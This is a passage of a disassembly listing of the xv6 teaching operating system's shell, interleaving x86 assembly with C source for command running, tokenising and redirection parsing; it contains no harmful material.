d0: e8 db 00 00 00 call 1b0 <runcmd> buf[strlen(buf) - 1] = 0; // chop \n d5: 83 ec 0c sub $0xc,%esp d8: 68 60 1a 00 00 push $0x1a60 dd: e8 7e 0b 00 00 call c60 <strlen> if (chdir(buf + 3) < 0) e2: c7 04 24 63 1a 00 00 movl $0x1a63,(%esp) buf[strlen(buf) - 1] = 0; // chop \n e9: c6 80 5f 1a 00 00 00 movb $0x0,0x1a5f(%eax) if (chdir(buf + 3) < 0) f0: e8 be 0d 00 00 call eb3 <chdir> f5: 83 c4 10 add $0x10,%esp f8: 85 c0 test %eax,%eax fa: 0f 89 67 ff ff ff jns 67 <main+0x67> printf(2, "cannot cd %s\n", buf + 3); 100: 51 push %ecx 101: 68 63 1a 00 00 push $0x1a63 106: 68 b7 13 00 00 push $0x13b7 10b: 6a 02 push $0x2 10d: e8 be 0e 00 00 call fd0 <printf> 112: 83 c4 10 add $0x10,%esp 115: e9 4d ff ff ff jmp 67 <main+0x67> exit(); 11a: e8 24 0d 00 00 call e43 <exit> panic("fork"); 11f: 83 ec 0c sub $0xc,%esp 122: 68 11 13 00 00 push $0x1311 127: e8 44 00 00 00 call 170 <panic> 12c: 66 90 xchg %ax,%ax 12e: 66 90 xchg %ax,%ax 00000130 <getcmd>: int getcmd(char *buf, int nbuf) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 56 push %esi 134: 53 push %ebx 135: 8b 75 0c mov 0xc(%ebp),%esi 138: 8b 5d 08 mov 0x8(%ebp),%ebx printf(2, ANSI_COLOR_GREEN "[romel@xv6 ~]$ " ANSI_COLOR_RESET); 13b: 83 ec 08 sub $0x8,%esp 13e: 68 f8 12 00 00 push $0x12f8 143: 6a 02 push $0x2 145: e8 86 0e 00 00 call fd0 <printf> memset(buf, 0, nbuf); 14a: 83 c4 0c add $0xc,%esp 14d: 56 push %esi 14e: 6a 00 push $0x0 150: 53 push %ebx 151: e8 3a 0b 00 00 call c90 <memset> gets(buf, nbuf); 156: 58 pop %eax 157: 5a pop %edx 158: 56 push %esi 159: 53 push %ebx 15a: e8 91 0b 00 00 call cf0 <gets> if (buf[0] == 0) // EOF 15f: 83 c4 10 add $0x10,%esp 162: 80 3b 01 cmpb $0x1,(%ebx) 165: 19 c0 sbb %eax,%eax } 167: 8d 65 f8 lea -0x8(%ebp),%esp 16a: 5b pop %ebx 16b: 5e pop %esi 16c: 5d pop %ebp 16d: c3 ret 16e: 66 90 xchg %ax,%ax 00000170 <panic>: void panic(char *s) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 83 ec 0c sub $0xc,%esp printf(2, "%s\n", s); 176: ff 75 08 push 0x8(%ebp) 179: 68 ab 13 00 00 push $0x13ab 17e: 6a 02 push $0x2 180: e8 4b 0e 00 00 call fd0 <printf> exit(); 185: e8 b9 0c 00 00 call e43 <exit> 18a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000190 <fork1>: int fork1(void) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 83 ec 08 sub $0x8,%esp pid = fork(); 196: e8 a0 0c 00 00 call e3b <fork> if (pid == -1) 19b: 83 f8 ff cmp $0xffffffff,%eax 19e: 74 02 je 1a2 <fork1+0x12> return pid; } 1a0: c9 leave 1a1: c3 ret panic("fork"); 1a2: 83 ec 0c sub $0xc,%esp 1a5: 68 11 13 00 00 push $0x1311 1aa: e8 c1 ff ff ff call 170 <panic> 1af: 90 nop 000001b0 <runcmd>: void runcmd(struct cmd *cmd) { 1b0: 55 push %ebp 1b1: 89 e5 mov %esp,%ebp 1b3: 53 push %ebx 1b4: 83 ec 14 sub $0x14,%esp 1b7: 8b 5d 08 mov 0x8(%ebp),%ebx if (cmd == 0) 1ba: 85 db test %ebx,%ebx 1bc: 74 42 je 200 <runcmd+0x50> switch (cmd->type) { 1be: 83 3b 05 cmpl $0x5,(%ebx) 1c1: 0f 87 e3 00 00 00 ja 2aa <runcmd+0xfa> 1c7: 8b 03 mov (%ebx),%eax 1c9: ff 24 85 c8 13 00 00 jmp *0x13c8(,%eax,4) if (ecmd->argv[0] == 0) 1d0: 8b 43 04 mov 0x4(%ebx),%eax 1d3: 85 c0 test %eax,%eax 1d5: 74 29 je 200 <runcmd+0x50> exec(ecmd->argv[0], ecmd->argv); 1d7: 8d 53 04 lea 0x4(%ebx),%edx 1da: 51 push %ecx 1db: 51 push %ecx 1dc: 52 push %edx 1dd: 50 push %eax 1de: e8 98 0c 00 00 call e7b <exec> printf(2, "exec %s failed\n", ecmd->argv[0]); 1e3: 83 c4 0c add $0xc,%esp 1e6: ff 73 04 push 0x4(%ebx) 1e9: 68 1d 13 00 00 push $0x131d 1ee: 6a 02 push $0x2 1f0: e8 db 0d 00 00 call fd0 <printf> break; 1f5: 83 c4 10 add $0x10,%esp 1f8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1ff: 90 nop exit(); 200: e8 3e 0c 00 00 call e43 <exit> if (fork1() == 0) 205: e8 86 ff ff ff call 190 <fork1> 20a: 85 c0 test %eax,%eax 20c: 75 f2 jne 200 <runcmd+0x50> 20e: e9 8c 00 00 00 jmp 29f <runcmd+0xef> if (pipe(p) < 0) 213: 83 ec 0c sub $0xc,%esp 216: 8d 45 f0 lea -0x10(%ebp),%eax 219: 50 push %eax 21a: e8 34 0c 00 00 call e53 <pipe> 21f: 83 c4 10 add $0x10,%esp 222: 85 c0 test %eax,%eax 224: 0f 88 a2 00 00 00 js 2cc <runcmd+0x11c> if (fork1() == 0) { 22a: e8 61 ff ff ff call 190 <fork1> 22f: 85 c0 test %eax,%eax 231: 0f 84 a2 00 00 00 je 2d9 <runcmd+0x129> if (fork1() == 0) { 237: e8 54 ff ff ff call 190 <fork1> 23c: 85 c0 test %eax,%eax 23e: 0f 84 c3 00 00 00 je 307 <runcmd+0x157> close(p[0]); 244: 83 ec 0c sub $0xc,%esp 247: ff 75 f0 push -0x10(%ebp) 24a: e8 1c 0c 00 00 call e6b <close> close(p[1]); 24f: 58 pop %eax 250: ff 75 f4 push -0xc(%ebp) 253: e8 13 0c 00 00 call e6b <close> wait(); 258: e8 ee 0b 00 00 call e4b <wait> wait(); 25d: e8 e9 0b 00 00 call e4b <wait> break; 262: 83 c4 10 add $0x10,%esp 265: eb 99 jmp 200 <runcmd+0x50> if (fork1() == 0) 267: e8 24 ff ff ff call 190 <fork1> 26c: 85 c0 test %eax,%eax 26e: 74 2f je 29f <runcmd+0xef> wait(); 270: e8 d6 0b 00 00 call e4b <wait> runcmd(lcmd->right); 275: 83 ec 0c sub $0xc,%esp 278: ff 73 08 push 0x8(%ebx) 27b: e8 30 ff ff ff call 1b0 <runcmd> close(rcmd->fd); 280: 83 ec 0c sub $0xc,%esp 283: ff 73 14 push 0x14(%ebx) 286: e8 e0 0b 00 00 call e6b <close> if (open(rcmd->file, rcmd->mode) < 0) { 28b: 58 pop %eax 28c: 5a pop %edx 28d: ff 73 10 push 0x10(%ebx) 290: ff 73 08 push 0x8(%ebx) 293: e8 eb 0b 00 00 call e83 <open> 298: 83 c4 10 add $0x10,%esp 29b: 85 c0 test %eax,%eax 29d: 78 18 js 2b7 <runcmd+0x107> runcmd(bcmd->cmd); 29f: 83 ec 0c sub $0xc,%esp 2a2: ff 73 04 push 0x4(%ebx) 2a5: e8 06 ff ff ff call 1b0 <runcmd> panic("runcmd"); 2aa: 83 ec 0c sub $0xc,%esp 2ad: 68 16 13 00 00 push $0x1316 2b2: e8 b9 fe ff ff call 170 <panic> printf(2, "open %s failed\n", rcmd->file); 2b7: 51 push %ecx 2b8: ff 73 08 push 0x8(%ebx) 2bb: 68 2d 13 00 00 push $0x132d 2c0: 6a 02 push $0x2 2c2: e8 09 0d 00 00 call fd0 <printf> exit(); 2c7: e8 77 0b 00 00 call e43 <exit> panic("pipe"); 2cc: 83 ec 0c sub $0xc,%esp 2cf: 68 3d 13 00 00 push $0x133d 2d4: e8 97 fe ff ff call 170 <panic> close(1); 2d9: 83 ec 0c sub $0xc,%esp 2dc: 6a 01 push $0x1 2de: e8 88 0b 00 00 call e6b <close> dup(p[1]); 2e3: 58 pop %eax 2e4: ff 75 f4 push -0xc(%ebp) 2e7: e8 cf 0b 00 00 call ebb <dup> close(p[0]); 2ec: 58 pop %eax 2ed: ff 75 f0 push -0x10(%ebp) 2f0: e8 76 0b 00 00 call e6b <close> close(p[1]); 2f5: 58 pop %eax 2f6: ff 75 f4 push -0xc(%ebp) 2f9: e8 6d 0b 00 00 call e6b <close> runcmd(pcmd->left); 2fe: 5a pop %edx 2ff: ff 73 04 push 0x4(%ebx) 302: e8 a9 fe ff ff call 1b0 <runcmd> close(0); 307: 83 ec 0c sub $0xc,%esp 30a: 6a 00 push $0x0 30c: e8 5a 0b 00 00 call e6b <close> dup(p[0]); 311: 5a pop %edx 312: ff 75 f0 push -0x10(%ebp) 315: e8 a1 0b 00 00 call ebb <dup> close(p[0]); 31a: 59 pop %ecx 31b: ff 75 f0 push -0x10(%ebp) 31e: e8 48 0b 00 00 call e6b <close> close(p[1]); 323: 58 pop %eax 324: ff 75 f4 push -0xc(%ebp) 327: e8 3f 0b 00 00 call e6b <close> runcmd(pcmd->right); 32c: 58 pop %eax 32d: ff 73 08 push 0x8(%ebx) 330: e8 7b fe ff ff call 1b0 <runcmd> 335: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 33c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000340 <execcmd>: // PAGEBREAK! // Constructors struct cmd *execcmd(void) { 340: 55 push %ebp 341: 89 e5 mov %esp,%ebp 343: 53 push %ebx 344: 83 ec 10 sub $0x10,%esp struct execcmd *cmd; cmd = malloc(sizeof(*cmd)); 347: 6a 54 push $0x54 349: e8 b2 0e 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 34e: 83 c4 0c add $0xc,%esp 351: 6a 54 push $0x54 cmd = malloc(sizeof(*cmd)); 353: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 355: 6a 00 push $0x0 357: 50 push %eax 358: e8 33 09 00 00 call c90 <memset> cmd->type = EXEC; 35d: c7 03 01 00 00 00 movl $0x1,(%ebx) return (struct cmd *)cmd; } 363: 89 d8 mov %ebx,%eax 365: 8b 5d fc mov -0x4(%ebp),%ebx 368: c9 leave 369: c3 ret 36a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000370 <redircmd>: struct cmd *redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 53 push %ebx 374: 83 ec 10 sub $0x10,%esp struct redircmd *cmd; cmd = malloc(sizeof(*cmd)); 377: 6a 18 push $0x18 379: e8 82 0e 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 37e: 83 c4 0c add $0xc,%esp 381: 6a 18 push $0x18 cmd = malloc(sizeof(*cmd)); 383: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 385: 6a 00 push $0x0 387: 50 push %eax 388: e8 03 09 00 00 call c90 <memset> cmd->type = REDIR; cmd->cmd = subcmd; 38d: 8b 45 08 mov 0x8(%ebp),%eax cmd->type = REDIR; 390: c7 03 02 00 00 00 movl $0x2,(%ebx) cmd->cmd = subcmd; 396: 89 43 04 mov %eax,0x4(%ebx) cmd->file = file; 399: 8b 45 0c mov 0xc(%ebp),%eax 39c: 89 43 08 mov %eax,0x8(%ebx) cmd->efile = efile; 39f: 8b 45 10 mov 0x10(%ebp),%eax 3a2: 89 43 0c mov %eax,0xc(%ebx) cmd->mode = mode; 3a5: 8b 45 14 mov 0x14(%ebp),%eax 3a8: 89 43 10 mov %eax,0x10(%ebx) cmd->fd = fd; 3ab: 8b 45 18 mov 0x18(%ebp),%eax 3ae: 89 43 14 mov %eax,0x14(%ebx) return (struct cmd *)cmd; } 3b1: 89 d8 mov %ebx,%eax 3b3: 8b 5d fc mov -0x4(%ebp),%ebx 3b6: c9 leave 3b7: c3 ret 3b8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3bf: 90 nop 000003c0 <pipecmd>: struct cmd *pipecmd(struct cmd *left, struct cmd *right) { 3c0: 55 push %ebp 3c1: 89 e5 mov %esp,%ebp 3c3: 53 push %ebx 3c4: 83 ec 10 sub $0x10,%esp struct pipecmd *cmd; cmd = malloc(sizeof(*cmd)); 3c7: 6a 0c push $0xc 3c9: e8 32 0e 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 3ce: 83 c4 0c add $0xc,%esp 3d1: 6a 0c push $0xc cmd = malloc(sizeof(*cmd)); 3d3: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 3d5: 6a 00 push $0x0 3d7: 50 push %eax 3d8: e8 b3 08 00 00 call c90 <memset> cmd->type = PIPE; cmd->left = left; 3dd: 8b 45 08 mov 0x8(%ebp),%eax cmd->type = PIPE; 3e0: c7 03 03 00 00 00 movl $0x3,(%ebx) cmd->left = left; 3e6: 89 43 04 mov %eax,0x4(%ebx) cmd->right = right; 3e9: 8b 45 0c mov 0xc(%ebp),%eax 3ec: 89 43 08 mov %eax,0x8(%ebx) return (struct cmd *)cmd; } 3ef: 89 d8 mov %ebx,%eax 3f1: 8b 5d fc mov -0x4(%ebp),%ebx 3f4: c9 leave 3f5: c3 ret 3f6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3fd: 8d 76 00 lea 0x0(%esi),%esi 00000400 <listcmd>: struct cmd *listcmd(struct cmd *left, struct cmd *right) { 400: 55 push %ebp 401: 89 e5 mov %esp,%ebp 403: 53 push %ebx 404: 83 ec 10 sub $0x10,%esp struct listcmd *cmd; cmd = malloc(sizeof(*cmd)); 407: 6a 0c push $0xc 409: e8 f2 0d 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 40e: 83 c4 0c add $0xc,%esp 411: 6a 0c push $0xc cmd = malloc(sizeof(*cmd)); 413: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 415: 6a 00 push $0x0 417: 50 push %eax 418: e8 73 08 00 00 call c90 <memset> cmd->type = LIST; cmd->left = left; 41d: 8b 45 08 mov 0x8(%ebp),%eax cmd->type = LIST; 420: c7 03 04 00 00 00 movl $0x4,(%ebx) cmd->left = left; 426: 89 43 04 mov %eax,0x4(%ebx) cmd->right = right; 429: 8b 45 0c mov 0xc(%ebp),%eax 42c: 89 43 08 mov %eax,0x8(%ebx) return (struct cmd *)cmd; } 42f: 89 d8 mov %ebx,%eax 431: 8b 5d fc mov -0x4(%ebp),%ebx 434: c9 leave 435: c3 ret 436: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 43d: 8d 76 00 lea 0x0(%esi),%esi 00000440 <backcmd>: struct cmd *backcmd(struct cmd *subcmd) { 440: 55 push %ebp 441: 89 e5 mov %esp,%ebp 443: 53 push %ebx 444: 83 ec 10 sub $0x10,%esp struct backcmd *cmd; cmd = malloc(sizeof(*cmd)); 447: 6a 08 push $0x8 449: e8 b2 0d 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 44e: 83 c4 0c add $0xc,%esp 451: 6a 08 push $0x8 cmd = malloc(sizeof(*cmd)); 453: 89 c3 mov %eax,%ebx memset(cmd, 0, sizeof(*cmd)); 455: 6a 00 push $0x0 457: 50 push %eax 458: e8 33 08 00 00 call c90 <memset> cmd->type = BACK; cmd->cmd = subcmd; 45d: 8b 45 08 mov 0x8(%ebp),%eax cmd->type = BACK; 460: c7 03 05 00 00 00 movl $0x5,(%ebx) cmd->cmd = subcmd; 466: 89 43 04 mov %eax,0x4(%ebx) return (struct cmd *)cmd; } 469: 89 d8 mov %ebx,%eax 46b: 8b 5d fc mov -0x4(%ebp),%ebx 46e: c9 leave 46f: c3 ret 00000470 <gettoken>: // Parsing char whitespace[] = " \t\r\n\v"; char symbols[] = "<|>&;()"; int gettoken(char **ps, char *es, char **q, char **eq) { 470: 55 push %ebp 471: 89 e5 mov %esp,%ebp 473: 57 push %edi 474: 56 push %esi 475: 53 push %ebx 476: 83 ec 0c sub $0xc,%esp char *s; int ret; s = *ps; 479: 8b 45 08 mov 0x8(%ebp),%eax int gettoken(char **ps, char *es, char **q, char **eq) { 47c: 8b 5d 0c mov 0xc(%ebp),%ebx 47f: 8b 75 10 mov 0x10(%ebp),%esi s = *ps; 482: 8b 38 mov (%eax),%edi while (s < es && strchr(whitespace, *s)) 484: 39 df cmp %ebx,%edi 486: 72 0f jb 497 <gettoken+0x27> 488: eb 25 jmp 4af <gettoken+0x3f> 48a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi s++; 490: 83 c7 01 add $0x1,%edi while (s < es && strchr(whitespace, *s)) 493: 39 fb cmp %edi,%ebx 495: 74 18 je 4af <gettoken+0x3f> 497: 0f be 07 movsbl (%edi),%eax 49a: 83 ec 08 sub $0x8,%esp 49d: 50 push %eax 49e: 68 48 1a 00 00 push $0x1a48 4a3: e8 08 08 00 00 call cb0 <strchr> 4a8: 83 c4 10 add $0x10,%esp 4ab: 85 c0 test %eax,%eax 4ad: 75 e1 jne 490 <gettoken+0x20> if (q) 4af: 85 f6 test %esi,%esi 4b1: 74 02 je 4b5 <gettoken+0x45> *q = s; 4b3: 89 3e mov %edi,(%esi) ret = *s; 4b5: 0f b6 07 movzbl (%edi),%eax switch (*s) { 4b8: 3c 3c cmp $0x3c,%al 4ba: 0f 8f d0 00 00 00 jg 590 <gettoken+0x120> 4c0: 3c 3a cmp $0x3a,%al 4c2: 0f 8f b4 00 00 00 jg 57c <gettoken+0x10c> 4c8: 84 c0 test %al,%al 4ca: 75 44 jne 510 <gettoken+0xa0> 4cc: 31 f6 xor %esi,%esi ret = 'a'; while (s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) s++; break; } if (eq) 4ce: 8b 55 14 mov 0x14(%ebp),%edx 4d1: 85 d2 test %edx,%edx 4d3: 74 05 je 4da <gettoken+0x6a> *eq = s; 4d5: 8b 45 14 mov 0x14(%ebp),%eax 4d8: 89 38 mov %edi,(%eax) while (s < es && strchr(whitespace, *s)) 4da: 39 df cmp %ebx,%edi 4dc: 72 09 jb 4e7 <gettoken+0x77> 4de: eb 1f jmp 4ff <gettoken+0x8f> s++; 4e0: 83 c7 01 add $0x1,%edi while (s < es && strchr(whitespace, *s)) 4e3: 39 fb cmp %edi,%ebx 4e5: 74 18 je 4ff <gettoken+0x8f> 4e7: 0f be 07 movsbl (%edi),%eax 4ea: 83 ec 08 sub $0x8,%esp 4ed: 50 push %eax 4ee: 68 48 1a 00 00 push $0x1a48 4f3: e8 b8 07 00 00 call cb0 <strchr> 4f8: 83 c4 10 add $0x10,%esp 4fb: 85 c0 test %eax,%eax 4fd: 75 e1 jne 4e0 <gettoken+0x70> *ps = s; 4ff: 8b 45 08 mov 0x8(%ebp),%eax 502: 89 38 mov %edi,(%eax) return ret; } 504: 8d 65 f4 lea -0xc(%ebp),%esp 507: 89 f0 mov %esi,%eax 509: 5b pop %ebx 50a: 5e pop %esi 50b: 5f pop %edi 50c: 5d pop %ebp 50d: c3 ret 50e: 66 90 xchg %ax,%ax switch (*s) { 510: 79 5e jns 570 <gettoken+0x100> while (s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 512: 39 fb cmp %edi,%ebx 514: 77 34 ja 54a <gettoken+0xda> if (eq) 516: 8b 45 14 mov 0x14(%ebp),%eax 519: be 61 00 00 00 mov $0x61,%esi 51e: 85 c0 test %eax,%eax 520: 75 b3 jne 4d5 <gettoken+0x65> 522: eb db jmp 4ff <gettoken+0x8f> 524: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while (s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 528: 0f be 07 movsbl (%edi),%eax 52b: 83 ec 08 sub $0x8,%esp 52e: 50 push %eax 52f: 68 40 1a 00 00 push $0x1a40 534: e8 77 07 00 00 call cb0 <strchr> 539: 83 c4 10 add $0x10,%esp 53c: 85 c0 test %eax,%eax 53e: 75 22 jne 562 <gettoken+0xf2> s++; 540: 83 c7 01 add $0x1,%edi while (s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 543: 39 fb cmp %edi,%ebx 545: 74 cf je 516 <gettoken+0xa6> 547: 0f b6 07 movzbl (%edi),%eax 54a: 83 ec 08 sub $0x8,%esp 54d: 0f be f0 movsbl %al,%esi 550: 56 push %esi 551: 68 48 1a 00 00 push $0x1a48 556: e8 55 07 00 00 call cb0 <strchr> 55b: 83 c4 10 add $0x10,%esp 55e: 85 c0 test %eax,%eax 560: 74 c6 je 528 <gettoken+0xb8> ret = 'a'; 562: be 61 00 00 00 mov $0x61,%esi 567: e9 62 ff ff ff jmp 4ce <gettoken+0x5e> 56c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi switch (*s) { 570: 3c 26 cmp $0x26,%al 572: 74 08 je 57c <gettoken+0x10c> 574: 8d 48 d8 lea -0x28(%eax),%ecx 577: 80 f9 01 cmp $0x1,%cl 57a: 77 96 ja 512 <gettoken+0xa2> ret = *s; 57c: 0f be f0 movsbl %al,%esi s++; 57f: 83 c7 01 add $0x1,%edi break; 582: e9 47 ff ff ff jmp 4ce <gettoken+0x5e> 587: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 58e: 66 90 xchg %ax,%ax switch (*s) { 590: 3c 3e cmp $0x3e,%al 592: 75 1c jne 5b0 <gettoken+0x140> if (*s == '>') { 594: 80 7f 01 3e cmpb $0x3e,0x1(%edi) s++; 598: 8d 47 01 lea 0x1(%edi),%eax if (*s == '>') { 59b: 74 1c je 5b9 <gettoken+0x149> s++; 59d: 89 c7 mov %eax,%edi 59f: be 3e 00 00 00 mov $0x3e,%esi 5a4: e9 25 ff ff ff jmp 4ce <gettoken+0x5e> 5a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi switch (*s) { 5b0: 3c 7c cmp $0x7c,%al 5b2: 74 c8 je 57c <gettoken+0x10c> 5b4: e9 59 ff ff ff jmp 512 <gettoken+0xa2> s++; 5b9: 83 c7 02 add $0x2,%edi ret = '+'; 5bc: be 2b 00 00 00 mov $0x2b,%esi 5c1: e9 08 ff ff ff jmp 4ce <gettoken+0x5e> 5c6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 5cd: 8d 76 00 lea 0x0(%esi),%esi 000005d0 <peek>: int peek(char **ps, char *es, char *toks) { 5d0: 55 push %ebp 5d1: 89 e5 mov %esp,%ebp 5d3: 57 push %edi 5d4: 56 push %esi 5d5: 53 push %ebx 5d6: 83 ec 0c sub $0xc,%esp 5d9: 8b 7d 08 mov 0x8(%ebp),%edi 5dc: 8b 75 0c mov 0xc(%ebp),%esi char *s; s = *ps; 5df: 8b 1f mov (%edi),%ebx while (s < es && strchr(whitespace, *s)) 5e1: 39 f3 cmp %esi,%ebx 5e3: 72 12 jb 5f7 <peek+0x27> 5e5: eb 28 jmp 60f <peek+0x3f> 5e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 5ee: 66 90 xchg %ax,%ax s++; 5f0: 83 c3 01 add $0x1,%ebx while (s < es && strchr(whitespace, *s)) 5f3: 39 de cmp %ebx,%esi 5f5: 74 18 je 60f <peek+0x3f> 5f7: 0f be 03 movsbl (%ebx),%eax 5fa: 83 ec 08 sub $0x8,%esp 5fd: 50 push %eax 5fe: 68 48 1a 00 00 push $0x1a48 603: e8 a8 06 00 00 call cb0 <strchr> 608: 83 c4 10 add $0x10,%esp 60b: 85 c0 test %eax,%eax 60d: 75 e1 jne 5f0 <peek+0x20> *ps = s; 60f: 89 1f mov %ebx,(%edi) return *s && strchr(toks, *s); 611: 0f be 03 movsbl (%ebx),%eax 614: 31 d2 xor %edx,%edx 616: 84 c0 test %al,%al 618: 75 0e jne 628 <peek+0x58> } 61a: 8d 65 f4 lea -0xc(%ebp),%esp 61d: 89 d0 mov %edx,%eax 61f: 5b pop %ebx 620: 5e pop %esi 621: 5f pop %edi 622: 5d pop %ebp 623: c3 ret 624: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return *s && strchr(toks, *s); 628: 83 ec 08 sub $0x8,%esp 62b: 50 push %eax 62c: ff 75 10 push 0x10(%ebp) 62f: e8 7c 06 00 00 call cb0 <strchr> 634: 83 c4 10 add $0x10,%esp 637: 31 d2 xor %edx,%edx 639: 85 c0 test %eax,%eax 63b: 0f 95 c2 setne %dl } 63e: 8d 65 f4 lea -0xc(%ebp),%esp 641: 5b pop %ebx 642: 89 d0 mov %edx,%eax 644: 5e pop %esi 645: 5f pop %edi 646: 5d pop %ebp 647: c3 ret 648: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 64f: 90 nop 00000650 <parseredirs>: cmd = pipecmd(cmd, parsepipe(ps, es)); } return cmd; } struct cmd *parseredirs(struct cmd *cmd, char **ps, char *es) { 650: 55 push %ebp 651: 89 e5 mov %esp,%ebp 653: 57 push %edi 654: 56 push %esi 655: 53 push %ebx 656: 83 ec 2c sub $0x2c,%esp 659: 8b 75 0c mov 0xc(%ebp),%esi 65c: 8b 5d 10 mov 0x10(%ebp),%ebx int tok; char *q, *eq; while (peek(ps, es, "<>")) { 65f: 90 nop 660: 83 ec 04 sub $0x4,%esp 663: 68 5f 13 00 00 push $0x135f 668: 53 push %ebx 669: 56 push %esi 66a: e8 61 ff ff ff call 5d0 <peek> 66f: 83 c4 10 add $0x10,%esp 672: 85 c0 test %eax,%eax 674: 0f 84 f6 00 00 00 je 770 <parseredirs+0x120> tok = gettoken(ps, es, 0, 0); 67a: 6a 00 push $0x0 67c: 6a 00 push $0x0 67e: 53 push %ebx 67f: 56 push %esi 680: e8 eb fd ff ff call 470 <gettoken> 685: 89 c7 mov %eax,%edi if (gettoken(ps, es, &q, &eq) != 'a') 687: 8d 45 e4 lea -0x1c(%ebp),%eax 68a: 50 push %eax 68b: 8d 45 e0 lea -0x20(%ebp),%eax 68e: 50 push %eax 68f: 53 push %ebx 690: 56 push %esi 691: e8 da fd ff ff call 470 <gettoken> 696: 83 c4 20 add $0x20,%esp 699: 83 f8 61 cmp $0x61,%eax 69c: 0f 85 d9 00 00 00 jne 77b <parseredirs+0x12b> panic("missing file for redirection"); switch (tok) { 6a2: 83 ff 3c cmp $0x3c,%edi 6a5: 74 69 je 710 <parseredirs+0xc0> 6a7: 83 ff 3e cmp $0x3e,%edi 6aa: 74 05 je 6b1 <parseredirs+0x61> 6ac: 83 ff 2b cmp $0x2b,%edi 6af: 75 af jne 660 <parseredirs+0x10> cmd = malloc(sizeof(*cmd)); 6b1: 83 ec 0c sub $0xc,%esp break; case '>': cmd = redircmd(cmd, q, eq, O_WRONLY | O_CREATE, 1); break; case '+': // >> cmd = redircmd(cmd, q, eq, O_WRONLY | O_CREATE, 1); 6b4: 8b 55 e4 mov -0x1c(%ebp),%edx 6b7: 8b 4d e0 mov -0x20(%ebp),%ecx cmd = malloc(sizeof(*cmd)); 6ba: 6a 18 push $0x18 cmd = redircmd(cmd, q, eq, O_WRONLY | O_CREATE, 1); 6bc: 89 55 d0 mov %edx,-0x30(%ebp) 6bf: 89 4d d4 mov %ecx,-0x2c(%ebp) cmd = malloc(sizeof(*cmd)); 6c2: e8 39 0b 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 6c7: 83 c4 0c add $0xc,%esp 6ca: 6a 18 push $0x18 cmd = malloc(sizeof(*cmd)); 6cc: 89 c7 mov %eax,%edi memset(cmd, 0, sizeof(*cmd)); 6ce: 6a 00 push $0x0 6d0: 50 push %eax 6d1: e8 ba 05 00 00 call c90 <memset> cmd->type = REDIR; 6d6: c7 07 02 00 00 00 movl $0x2,(%edi) cmd->cmd = subcmd; 6dc: 8b 45 08 mov 0x8(%ebp),%eax break; 6df: 83 c4 10 add $0x10,%esp cmd->cmd = subcmd; 6e2: 89 47 04 mov %eax,0x4(%edi) cmd->file = file; 6e5: 8b 4d d4 mov -0x2c(%ebp),%ecx 6e8: 89 4f 08 mov %ecx,0x8(%edi) cmd->efile = efile; 6eb: 8b 55 d0 mov -0x30(%ebp),%edx cmd->mode = mode; 6ee: c7 47 10 01 02 00 00 movl $0x201,0x10(%edi) cmd->efile = efile; 6f5: 89 57 0c mov %edx,0xc(%edi) cmd->fd = fd; 6f8: c7 47 14 01 00 00 00 movl $0x1,0x14(%edi) break; 6ff: 89 7d 08 mov %edi,0x8(%ebp) 702: e9 59 ff ff ff jmp 660 <parseredirs+0x10> 707: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 70e: 66 90 xchg %ax,%ax cmd = malloc(sizeof(*cmd)); 710: 83 ec 0c sub $0xc,%esp cmd = redircmd(cmd, q, eq, O_RDONLY, 0); 713: 8b 55 e4 mov -0x1c(%ebp),%edx 716: 8b 4d e0 mov -0x20(%ebp),%ecx cmd = malloc(sizeof(*cmd)); 719: 6a 18 push $0x18 cmd = redircmd(cmd, q, eq, O_RDONLY, 0); 71b: 89 55 d0 mov %edx,-0x30(%ebp) 71e: 89 4d d4 mov %ecx,-0x2c(%ebp) cmd = malloc(sizeof(*cmd)); 721: e8 da 0a 00 00 call 1200 <malloc> memset(cmd, 0, sizeof(*cmd)); 726: 83 c4 0c add $0xc,%esp 729: 6a 18 push $0x18 cmd = malloc(sizeof(*cmd)); 72b: 89 c7 mov %eax,%edi memset(cmd, 0, sizeof(*cmd)); 72d: 6a 00 push $0x0 72f: 50 push %eax 730: e8 5b 05 00 00 call c90 <memset> cmd->cmd = subcmd; 735: 8b 45 08 mov 0x8(%ebp),%eax cmd->file = file; 